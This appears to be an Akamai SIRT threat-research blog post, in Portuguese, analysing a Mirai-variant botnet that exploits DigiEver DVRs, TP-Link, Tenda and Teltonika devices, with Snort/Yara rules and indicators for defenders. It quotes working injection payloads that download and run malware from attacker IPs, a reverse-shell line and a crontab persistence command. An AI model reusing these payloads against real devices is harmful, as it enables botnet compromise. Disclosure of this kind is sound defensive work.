Precisa de computação em nuvem? Comece agora mesmo

DigiEver Fix That IoT Thing!

Akamai Wave Blue

escrito por

Kyle Lefton, Daniel Messing, e Larry Cashdollar

December 19, 2024

Onda azul da Akamai

escrito por

Kyle Lefton

Kyle Lefton é estagiário de pesquisa de segurança na equipe de resposta de inteligência de segurança da Akamai. Anteriormente analista de inteligência do Departamento de Defesa, Kyle tem experiência em defesa cibernética, pesquisa de ameaças e contra-inteligência que abrange vários anos. Ele se orgulha de investigar ameaças emergentes, da pesquisa de vulnerabilidades e do mapeamento de grupos de ameaças. Em seu tempo livre, ele gosta de passar um tempo com amigos e familiares, jogar jogos de estratégia e fazer caminhadas ao ar livre.

Daniel Messing

escrito por

Daniel Messing

Daniel Messing é especialista em inteligência de ameaças, com mais de uma década de experiência nos setores público e privado. Como pesquisador sênior de segurança na equipe de Resposta de Inteligência de Segurança, desempenhou um papel fundamental na construção, aprimoramento e escalonamento de programas globais de inteligência contra ameaças, tanto na Akamai quanto em outras organizações. No tempo livre, Daniel gosta de ler e praticar esportes.

Larry Cashdollar

escrito por

Larry Cashdollar

Larry W. CashDollar trabalha na área de segurança como pesquisador de vulnerabilidade há mais de 18 anos e atualmente é membro da equipe de resposta a incidentes de segurança da Akamai Technologies. Estudou Ciência da Computação na Universidade do Sul do Maine. Larry documentou mais de 150 CVEs e até apresentou sua pesquisa no BSIS Boston, OWASP Rhode Island e Defcon. Ele gosta do ar livre e de reconstruir motores de motocicletas de pequeno porte em seu tempo livre.

As amostras de malware que identificamos eram variantes baseadas no Mirai, distribuídas em diversas arquiteturas.
As amostras de malware que identificamos eram variantes baseadas no Mirai, distribuídas em diversas arquiteturas.

Resumo executivo

  • Uma vulnerabilidade nos DVRs DigiEver DS-2105 Pro está sendo explorada para espalhar malware.

  • A equipe de Pesquisa de Inteligência de Segurança da Akamai (SIRT) notou essa atividade em seus honeypots em 18 de novembro de 2024.

  • A vulnerabilidade foi originalmente descoberta por Ta-Lun Yen e um identificador CVE foi solicitado pela equipe SIRT da Akamai.

  • O malware é uma variante do Mirai que foi modificada para usar algoritmos de criptografia aprimorados. 

  • Incluímos uma lista de indicadores de comprometimento (IoCs) neste post do blog para auxiliar na defesa contra essa ameaça.

AVISO DE CONTEÚDO: os atores de ameaça responsáveis por este malware usam nomes de conteúdo que podem ser considerados ofensivos por algumas pessoas. Nós não os redigimos na tentativa de aumentar a detecção, já que essa campanha está atualmente em circulação.

Introdução e descoberta

Em meados de novembro de 2024, a SIRT da Akamai descobriu um aumento na atividade que visou o URI /cgi-bin/cgi_main.cgi em nossa rede global de honeyspots. Essa atividade parece ser parte de uma campanha recente e contínua de malware baseada no Mirai, que remonta pelo menos a outubro de 2024.

A vulnerabilidade ainda não possui um identificador CVE, mas parece ter sido originalmente descoberta e publicada por TA-LUN Yen da TXOne Research. Na publicação, ele atribuiu essa vulnerabilidade de execução remota de código (RCE) a vários dispositivos DVR, incluindo o modelo DigiEver DS-2105 Pro. Nossos analistas determinaram que as tentativas de exploração que observamos estavam alinhadas com essa pesquisa de vulnerabilidade publicada.

Uma investigação adicional sobre essa campanha revelou uma nova botnet que se autodenomina “Hail Cock Botnet”, que está ativa desde pelo menos setembro de 2024. Usando uma variante do malware Mirai que incorpora os algoritmos de criptografia ChaCha20 e XOR, foi observado que ele está comprometendo dispositivos vulneráveis da Internet das Coisas (IoT) no ambiente real, como o DVR DigiEver e dispositivos TP-Link, através da CVE-2023-1389.

A vulnerabilidade

A vulnerabilidade do DVR DigiEver foi descoberta pelo pesquisador da TXOne após investigar alguns intervalos de endereços IP expostos durante testes de penetração. Através das consultas no Shodan, ele conseguiu identificar muitos dos endereços IP como dispositivos historicamente vulneráveis, como DVRs. Ele conseguiu emular o firmware do DVR DigiEver e percebeu que /cgi-bin/cgi_main.cgi era um dos pontos de extremidade CGI (Figura 1).

Ele conseguiu emular o firmware do DVR DigiEver e percebeu que /cgi-bin/cgi_main.cgi era um dos pontos de extremidade CGI (Figura 1). Fig. 1: Ponto de extremidade com suspeita de vulnerabilidade

Por meio desse ponto de extremidade, o pesquisador conseguiu alcançar a RCE (Figura 2). 

Por meio desse ponto de extremidade, o pesquisador conseguiu alcançar a RCE (Figura 2). Fig. 2: RCE confirmada pelo pesquisador

Exploração ativa

A equipe SIRT da Akamai notou que essa URI começou a ser alvo de um agente de ameaça desconhecido em 18 de novembro de 2024. Conseguimos combinar a sintaxe do payload que observamos em nossos honeypots com o prova de conceito (PoC) da publicação de pesquisa (Figura 3).

  cgiName=time_tzsetup.cgi&page=/cfg_system_time.htm&id=69&ntp=`rm x86;curl --output x86 http://154.216.17[.]126/x86; chmod 777 *; ./x86 nvr`&ntp1=time.stdtime.gov.tw&ntp2=`rm x86;curl --output x86 http://154.216.17[.]126/x86; chmod 777 *; ./x86 nvr`&isEnabled=0&timeDiff=+9&ntpAutoSync=1&ntpSyncMode=1&day=0&hour=0&min=0&syncDiff=30

Fig. 3: Payload visando a vulnerabilidade RCE do DigiEver (URL decodificado)

A vulnerabilidade parece permitir a injeção de comandos como um argumento no parâmetro ntp. Neste exemplo, ela está se conectando a um servidor remoto de hospedagem de malware para baixar malware baseado no Mirai. Essas sessões chegam como solicitações HTTP POST pela porta 80, com “**Endereço IP**:80/cfg_system_time.htm” como o cabeçalho HTTP Referer. 

Além da exploração da RCE do DigiEver, também vemos essa botnet visando outras vulnerabilidades, como a CVE-2023-1389, que afeta dispositivos TP-Link (Figura 4).

  GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget+http://45.202.35[.]24/l+-O-|+sh`) HTTP/1.1
  Host: localhost:80
  User-Agent: Go-http-client/1.1

Fig. 4: Payload visando a CVE-2023-1389

A botnet explora essa vulnerabilidade de injeção de comandos no ponto de extremidade /cgi-bin/luci;stok=/locale na interface de gerenciamento web da TP-Link para baixar e executar um script shell malicioso. Este script, por sua vez, baixa o payload do malware Mirai e o executa no sistema-alvo (Figura 5).

Este script, por sua vez, baixa o payload do malware Mirai e o executa no sistema-alvo (Figura 5). Fig. 5: Conteúdo do script “l” baixado a partir da solicitação acima para a CVE-2023-1389 (Fonte: https://ducklingstudio.blog.fc2.com/blog-entry-394.html)

A botnet também visa a vulnerabilidade de injeção de comando remoto Tenda HG6 v3.3.0 (Figura 6). 

  /boaform/admin/formTracert target_addr=;`rm+/tmp/f%3bmknod+/tmp/f+p%3bcat+/tmp/f|/bin/sh+-i+2>%261|wget+http://45.202.35[.]24/b+-O-|+sh+>/tmp/f`&waninf=1_INTERNET_R_VID_

Fig. 6: Payload visando a Tenda HG6

Além dessas vulnerabilidades, observamos essa botnet visando outras, como a CVE-2018-17532,que afeta os roteadores Teltonika RUT9XX. A exploração faz o download e executa um script shell por meio de uma solicitação wget, que, por sua vez, faz uma solicitação adicional para baixar e executar o malware na máquina-alvo (Figura 7).

A exploração faz o download e executa um script shell por meio de uma solicitação wget, que, por sua vez, faz uma solicitação adicional para baixar e executar o malware na máquina-alvo (Figura 7). Fig. 7: Conteúdo do script shell “b.sh”

O malware

As amostras de malware que identificamos eram variantes baseadas no Mirai, distribuídas em uma variedade de arquiteturas, incluindo x86, ARM, MIPS e outras. Um aspecto particularmente interessante sobre essas amostras foi o uso tanto de XOR quanto de ChaCha20 para seu algoritmo de descriptografia.

Algumas das strings observadas na seção de análise dinâmica, como a saída para o console de “you are now apart of hail cock botnet”, não podiam ser vistas na seção de strings legíveis por humanos do malware, nem nas strings decodificadas por XOR.

Descobrimos que um pesquisador de segurança independente no Japão publicou algumas descobertas interessantes sobre esse malware. Ele descobriu que o malware estava descriptografando essa string e exibindo-a no console, com a string armazenada no segmento de dados do binário (Figura 8).

Ele descobriu que o malware estava descriptografando essa string e exibindo-a no console, com a string armazenada no segmento de dados do binário (Figura 8). Fig. 8: Descriptografia da mensagem

Verificar onde uma string é atribuída àquela saída mostra a função de descriptografia da string (FUN_00408500) e a localização da string (DAT_005166a0) como argumento. Após a inicialização, a próxima função é usada para processar a string criptografada do segundo argumento e armazená-la na memória (Figura 9).

Após a inicialização, a próxima função é usada para processar a string criptografada do segundo argumento e armazená-la na memória (Figura 9). Fig. 9: Descriptografia de seções de dados

Ao examinar a função "FUN_00404960," o pesquisador descobriu que seu passo final envolve uma operação XOR. Em seções onde constantes são utilizadas e convertidas em código ASCII, a função retorna a string "expand 32-byte k." Essa string é uma constante conhecida em algoritmos criptográficos como Salsa20 e ChaCha20, indicando que a função rotulada como "FUN_00404960" é responsável pela descriptografia (Figura 10).

“FUN_00404960” é responsável pela descriptografia (Figura 10) Fig. 10: Descriptografia com Salsa20 e ChaCha20

Embora o uso de métodos de descriptografia complexos não seja novidade, isso sugere táticas, técnicas e procedimentos em evolução entre os operadores de botnets baseadas no Mirai. Isso é particularmente notável porque muitas botnets baseadas no Mirai ainda dependem da lógica original de ofuscação de strings do código reciclado que foi incluído no lançamento original do código-fonte do malware Mirai.

A partir da análise estática de strings, o malware utiliza muitas credenciais padrão ou comuns para diversos dispositivos, a fim de espalhar a botnet para outros hosts. Muitos novos pares de credenciais foram adicionados às originais que acompanham o Mirai, incluindo a string “telecomadmin”, por exemplo, que é o nome de usuário padrão para o kit de terminação de fibra Huawei ONT HG8245H5 e a senha padrão para alguns roteadores que utilizam o chipset Realtek.

Detalhes da sandbox

Ao executar as amostras de malware em ambientes de sandbox dinâmicos, conseguimos identificar IoCs adicionais e strings notáveis do malware. Um comportamento que observamos foi a criação de um job cron para baixar e executar um script shell do domínio “hailcocks[.]ru” a fim de manter a persistência (Figura 11). Ele tentará baixar o arquivo “wget.sh” do mesmo servidor usando curl e/ou wget para garantir a compatibilidade caso um deles não esteja instalado no host comprometido.

  sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks[.]ru/wget.sh; curl --output wget.sh http://hailcocks[.]ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -"

Fig. 11: Persistência via crontab

Após a execução, o malware se conectou a uma grande variedade de hosts, consistente com o típico comportamento de força bruta de Telnet e SSH Mirai. Ele também se conecta a um único endereço IP separado, com registros A resolvendo para o domínio “kingstonwikkerink[.]dyn” para comunicação de comando e controle (C2).

Além disso, os hosts comprometidos com este malware verão uma string única impressa no console durante a execução do malware. Versões mais antigas do malware imprimem a string “you are now apart of hail cock botnet” (Figura 12). Em vez disso, as versões mais recentes do malware imprimem a string “I just wanna look after my cats, man.” no console (Figura 13).

Versões mais antigas do malware imprimem a string “you are now apart of hail cock botnet” (Figura 12). Fig. 12: Mensagem de saída do console de malware mais antigo
Em vez disso, as versões mais recentes do malware imprimem a string “I just wanna look after my cats, man.” no console (Figura 13). Fig. 13: Mensagem de saída do console de malware mais recente

Conclusão

Os cibercriminosos têm explorado consistentemente o legado do malware Mirai para perpetuar campanhas de botnets ao longo dos anos, e a nova botnet Hail Cock não é exceção. Um dos métodos mais fáceis de os atores de ameaça comprometerem novos hosts é visar firmware desatualizado ou hardware obsoleto. O DigiEver DS-2105 Pro, que tem aproximadamente 10 anos, é um exemplo. Os fabricantes de hardware nem sempre emitem patches para dispositivos aposentados, e o próprio fabricante pode, por vezes, estar extinto. Portanto, em circunstâncias nas quais os patches de segurança não estão disponíveis e são improváveis de ser lançados, recomendamos a atualização de dispositivos vulneráveis para um modelo mais recente.

IoCs

Incluímos uma lista de IoCs, bem como regras Snort e Yara, para auxiliar os defensores.

Regras Snort para IoCs de rede

Regras Snort para IPs de C2

  alert tcp $HOME_NET any -> 154.216.17.126 any (msg:"C2 Comms for Hail Cock Botnet to  154.216.17.126"; flow:to_server,established;)
  alert tcp $HOME_NET any -> 154.213.187.50 any (msg:"C2 Comms for Hail Cock Botnet to  154.213.187.50"; flow:to_server,established;)
  alert tcp $HOME_NET any -> 86.107.100.80 any (msg:"C2 Comms for Hail Cock Botnet to  86.107.100.80"; flow:to_server,established;)
  alert tcp $HOME_NET any -> 213.182.204.57 any (msg:"C2 Comms for Hail Cock Botnet to  213.182.204.57"; flow:to_server,established;)
  alert tcp $HOME_NET any -> 195.133.92.51 any (msg:"C2 Comms for Hail Cock Botnet to  195.133.92.51"; flow:to_server,established;)
  alert tcp $HOME_NET any -> 185.82.200.181 any (msg:"C2 Comms for Hail Cock Botnet to  185.82.200.181"; flow:to_server,established;)
  alert tcp $HOME_NET any -> 81.29.149.178 any (msg:"C2 Comms for Hail Cock Botnet to  81.29.149.178"; flow:to_server,established;)
  alert tcp $HOME_NET any -> 88.151.195.22 any (msg:"C2 Comms for Hail Cock Botnet to  88.151.195.22"; flow:to_server,established;)
  alert tcp $HOME_NET any -> 91.149.218.232 any (msg:"C2 Comms for Hail Cock Botnet to  91.149.218.232"; flow:to_server,established;)
  alert tcp $HOME_NET any -> 91.149.238.18 any (msg:"C2 Comms for Hail Cock Botnet to  91.149.238.18"; flow:to_server,established;)
  alert tcp $HOME_NET any -> 31.13.248.89 any (msg:"C2 Comms for Hail Cock Botnet to  31.13.248.89"; flow:to_server,established;)
  alert tcp $HOME_NET any -> 193.233.193.45 any (msg:"C2 Comms for Hail Cock Botnet to  193.233.193.45"; flow:to_server,established;)
  alert tcp $HOME_NET any -> 194.87.198.29 any (msg:"C2 Comms for Hail Cock Botnet to  194.87.198.29"; flow:to_server,established;)
  alert tcp $HOME_NET any -> 45.202.35.91 any (msg:"C2 Comms for Hail Cock Botnet to  45.202.35.91"; flow:to_server,established;)
  alert tcp $HOME_NET any -> 104.37.188.76 any (msg:"C2 Comms for Hail Cock Botnet to  104.37.188.76"; flow:to_server,established;)
  alert tcp $HOME_NET any -> 95.214.53.205 any (msg:"C2 Comms for Hail Cock Botnet to  95.214.53.205"; flow:to_server,established;)
  alert tcp $HOME_NET any -> 5.35.104.31 any (msg:"C2 Comms for Hail Cock Botnet to  5.35.104.31"; flow:to_server,established;)
  alert tcp $HOME_NET any -> 149.50.106.25 any (msg:"C2 Comms for Hail Cock Botnet to  149.50.106.25"; flow:to_server,established;)
  alert tcp $HOME_NET any -> 141.98.11.79 any (msg:"C2 Comms for Hail Cock Botnet to  141.98.11.79"; flow:to_server,established;)
  alert tcp $HOME_NET any -> 45.202.35.24 any (msg:"C2 Comms for Hail Cock Botnet to  45.202.35.24"; flow:to_server,established;)
  alert tcp $HOME_NET any -> 5.39.254.71 any (msg:"C2 Comms for Hail Cock Botnet to  5.39.254.71"; flow:to_server,established;)
  alert tcp $HOME_NET any -> 45.126.50.101 any (msg:"C2 Comms for Hail Cock Botnet to  45.126.50.101"; flow:to_server,established;)

Regras Snort para detecção de resolução de domínio C2

  alert tcp $HOME_NET any -> hailcocks.ru any (msg:"BLOCK Connection to malicious domain - hailcocks.ru"; flow:to_server,established; sid:1000010; rev:1;)
  alert tcp $HOME_NET any -> kingstonwikkerink.dyn any (msg:"BLOCK Connection to malicious domain - kingstonwikkerink.dyn"; flow:to_server,established; sid:1000011; rev:1;)
  alert tcp $HOME_NET any -> catvision.dyn any (msg:"BLOCK Connection to malicious domain - catvision.dyn"; flow:to_server,established; sid:1000012; rev:1;)
  alert tcp $HOME_NET any -> hikvision.geek any (msg:"BLOCK Connection to malicious domain - hikvision.geek"; flow:to_server,established; sid:1000013; rev:1;)
  alert tcp $HOME_NET any -> shitrocket.dyn any (msg:"BLOCK Connection to malicious domain - shitrocket.dyn"; flow:to_server,established; sid:1000014; rev:1;)
  alert tcp $HOME_NET any -> catlovingfools.geek any (msg:"BLOCK Connection to malicious domain - catlovingfools.geek"; flow:to_server,established; sid:1000015; rev:1;)

Regras Yara para amostras de malware

  rule hailcock_malware

{
  strings:
    $someoffdeeznuts = "someoffdeeznuts"
    $ip_address = { 154.213.187.50 }

  condition:
    any of them
}

rule malware_hashes

{
  strings:
    $hash_1 = "3c0eb5de2946c558159a6b6a656d463febee037c17a1f605330e601cfcd39615"
    $hash_2 = "0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad"
    $hash_3 = "b32390e3ed03b99419c736b2eb707886b9966f731e629f23e3af63ea7a91a7af"
    $hash_4 = "dec561cc19458ea127dc1f548fcd0aaa51db007fa8b95c353086cd2d26bfcf02"
    $hash_5 = "a1b73a3fbd2e373a35d3745d563186b06857f594fa5379f6f7401d09476a0c41"

  condition:
    any of them
}


rule malicious_domains

{
 strings: 
    $hailcocks = "hailcocks.ru"
    $kingstonwikkerink = "kingstonwikkerink.dyn"
    $catvision = "catvision.dyn"
    $catloving = "catlovingfools.geek"
    $hikvision = "hikvision.dyn"
    $shitrocket = "shitrocket.dyn"

 condition:
   any of them

}

Endereços IPv4 da infraestrutura histórica

154.216.17.126
154.213.187.50
86.107.100.80
213.182.204.57
195.133.92.51
185.82.200.181
81.29.149.178
88.151.195.22
91149218232
91.149.238.18
31.13.248.89
193.233.193.45
194.87.198.29
45.202.35.91
104.37.188.76
95.214.53.205
5.35.104.31
149.50.106.25
141.98.11.79
45.202.35.24
5.39.254.71
45.125.66.90
91.132.50.181

Domínios para pontos de extremidade de distribuição de malware e C2 

hailcocks[.]ru
kingstonwikkerink[.]dyn
catvision[.]dyn
shitrocket[.]dyn
catlovingfools[.]geek
hikvision[.]geek

SHA256 hashes

3c0eb5de2946c558159a6b6a656d463febee037c17a1f605330e601cfcd39615
0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad
b32390e3ed03b99419c736b2eb707886b9966f731e629f23e3af63ea7a91a7af
dec561cc19458ea127dc1f548fcd0aaa51db007fa8b95c353086cd2d26bfcf02
a1b73a3fbd2e373a35d3745d563186b06857f594fa5379f6f7401d09476a0c41
31813bb69e10b636c785358ca09d7f91979454dc6fc001f750bf03ad8bde8fe5


Akamai Wave Blue

escrito por

Kyle Lefton, Daniel Messing, e Larry Cashdollar

December 19, 2024

Onda azul da Akamai

escrito por

Kyle Lefton

Kyle Lefton é estagiário de pesquisa de segurança na equipe de resposta de inteligência de segurança da Akamai. Anteriormente analista de inteligência do Departamento de Defesa, Kyle tem experiência em defesa cibernética, pesquisa de ameaças e contra-inteligência que abrange vários anos. Ele se orgulha de investigar ameaças emergentes, da pesquisa de vulnerabilidades e do mapeamento de grupos de ameaças. Em seu tempo livre, ele gosta de passar um tempo com amigos e familiares, jogar jogos de estratégia e fazer caminhadas ao ar livre.

Daniel Messing

escrito por

Daniel Messing

Daniel Messing é especialista em inteligência de ameaças, com mais de uma década de experiência nos setores público e privado. Como pesquisador sênior de segurança na equipe de Resposta de Inteligência de Segurança, desempenhou um papel fundamental na construção, aprimoramento e escalonamento de programas globais de inteligência contra ameaças, tanto na Akamai quanto em outras organizações. No tempo livre, Daniel gosta de ler e praticar esportes.

Larry Cashdollar

escrito por

Larry Cashdollar

Larry W. CashDollar trabalha na área de segurança como pesquisador de vulnerabilidade há mais de 18 anos e atualmente é membro da equipe de resposta a incidentes de segurança da Akamai Technologies. Estudou Ciência da Computação na Universidade do Sul do Maine. Larry documentou mais de 150 CVEs e até apresentou sua pesquisa no BSIS Boston, OWASP Rhode Island e Defcon. Ele gosta do ar livre e de reconstruir motores de motocicletas de pequeno porte em seu tempo livre.